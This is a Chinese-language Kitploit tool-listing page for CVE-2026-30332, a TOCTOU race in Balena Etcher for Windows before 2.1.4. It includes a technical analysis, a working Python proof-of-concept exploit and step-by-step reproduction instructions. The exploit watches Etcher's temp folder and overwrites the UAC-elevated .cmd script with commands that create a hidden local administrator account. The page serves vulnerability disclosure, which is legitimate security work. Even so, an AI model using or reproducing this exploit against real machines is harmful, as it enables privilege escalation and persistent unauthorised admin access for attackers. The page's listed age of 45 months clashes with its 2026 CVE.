Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-30332 — Balena Etcher v2.1.4 之前的 Windows 版本受到临时文件处理中检查时间到使用时间(TOCTOU)竞态条件的影响。 | Kitploit
工具/GitHubGitHub/b1tbreaker/cve-2026-30332
权限提升漏洞利用框架漏洞分析漏洞利用
GitHubb1tbreaker/cve-2026-30332

CVE-2026-30332

Balena Etcher v2.1.4 之前的 Windows 版本受到临时文件处理中检查时间到使用时间(TOCTOU)竞态条件的影响。

查看仓库
45个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-30332

描述

在 Balena Etcher for Windows 2.1.4 之前的版本中发现了一个时间检查到时间使用(TOCTOU)漏洞。
该应用程序会在用户可写目录中创建一个临时 .cmd 文件,随后通过 UAC 以提升权限执行该文件。
这允许在当前用户上下文中以中等完整性运行的应用程序或进程,通过在临时脚本执行前注入恶意命令,将权限提升至高完整性。


技术分析

当用户启动烧录过程时,Etcher 会执行以下步骤:

  1. 在用户可写的临时目录中创建一个临时 .cmd 文件:
    C:\Users\<用户名>\AppData\Local\Temp\etcher\

  2. 该文件被填充必要的环境变量和用于启动 etcher-util.exe 的命令。

  3. 该脚本通过 Windows UAC 以提升权限执行。

该漏洞源于文件创建与执行之间的时间差。在这一短暂窗口期内,在同一用户上下文中运行的应用程序可以监视临时目录,并将合法的 .cmd 文件替换为恶意版本。由于 Etcher 在执行前未验证文件的完整性,恶意代码将以提升权限运行。


概念验证

以下 Python 脚本监视 Etcher 临时目录,一旦检测到 .cmd 文件,便向其追加一个创建新本地管理员账户的恶意载荷。

root@kitploit:~
import os
import time
import glob

username = os.environ.get("USERNAME")
target_folder = fr"C:\Users\{username}\AppData\Local\Temp\etcher"
file_prefix = "balena-etcher-electron-"
payload = fr'''
chcp 65001
set "ETCHER_SERVER_ADDRESS=127.0.0.1"
set "ETCHER_SERVER_ID=etcher-xxorfp"
set "ETCHER_SERVER_PORT=3435"
set "UV_THREADPOOL_SIZE=128"
set "SKIP=1"
net user exploitUser Password123! /add
net localgroup administrators exploitUser /add
"C:\Users\{username}\AppData\Local\balena_etcher\app-2.1.0\resources\etcher-util.exe"
'''

def monitor_and_replace():
    print(f"[*] Watching for balena-etcher-electron-*.cmd files in: {target_folder}")
    
    while True:
        cmd_files = glob.glob(os.path.join(target_folder, file_prefix + "*.cmd"))
        for cmd_file in cmd_files:
            print(f"[+] New .cmd file detected: {cmd_file}")
            try:
                with open(cmd_file, "w") as f:
                    f.write(payload)
                print("[+] Payload successfully written to .cmd file.")
                return  # Exit after successful injection
            except Exception as e:
                print(f"[-] Failed to write payload: {e}")
        time.sleep(0.5)

if __name__ == "__main__":
    monitor_and_replace()

复现步骤

  1. 打开命令提示符并运行 python exploit.py。脚本开始监视临时目录中由 Etcher 创建的任何 .cmd 文件。

  1. 启动 Balena Etcher,选择有效的镜像文件和目标 USB/SD 设备,然后点击 Flash 开始烧录过程。

  1. 当出现 UAC 提示时,接受它以允许 Etcher 以提升权限继续运行。

  2. 漏洞利用脚本在执行前检测并替换临时 .cmd 文件。一旦脚本以提升权限运行,注入的命令将被执行,添加一个新的本地管理员用户(exploitUser)。

参考

  • NVD NIST CVE 记录
  • GitHub Issue – 漏洞报告
下载工具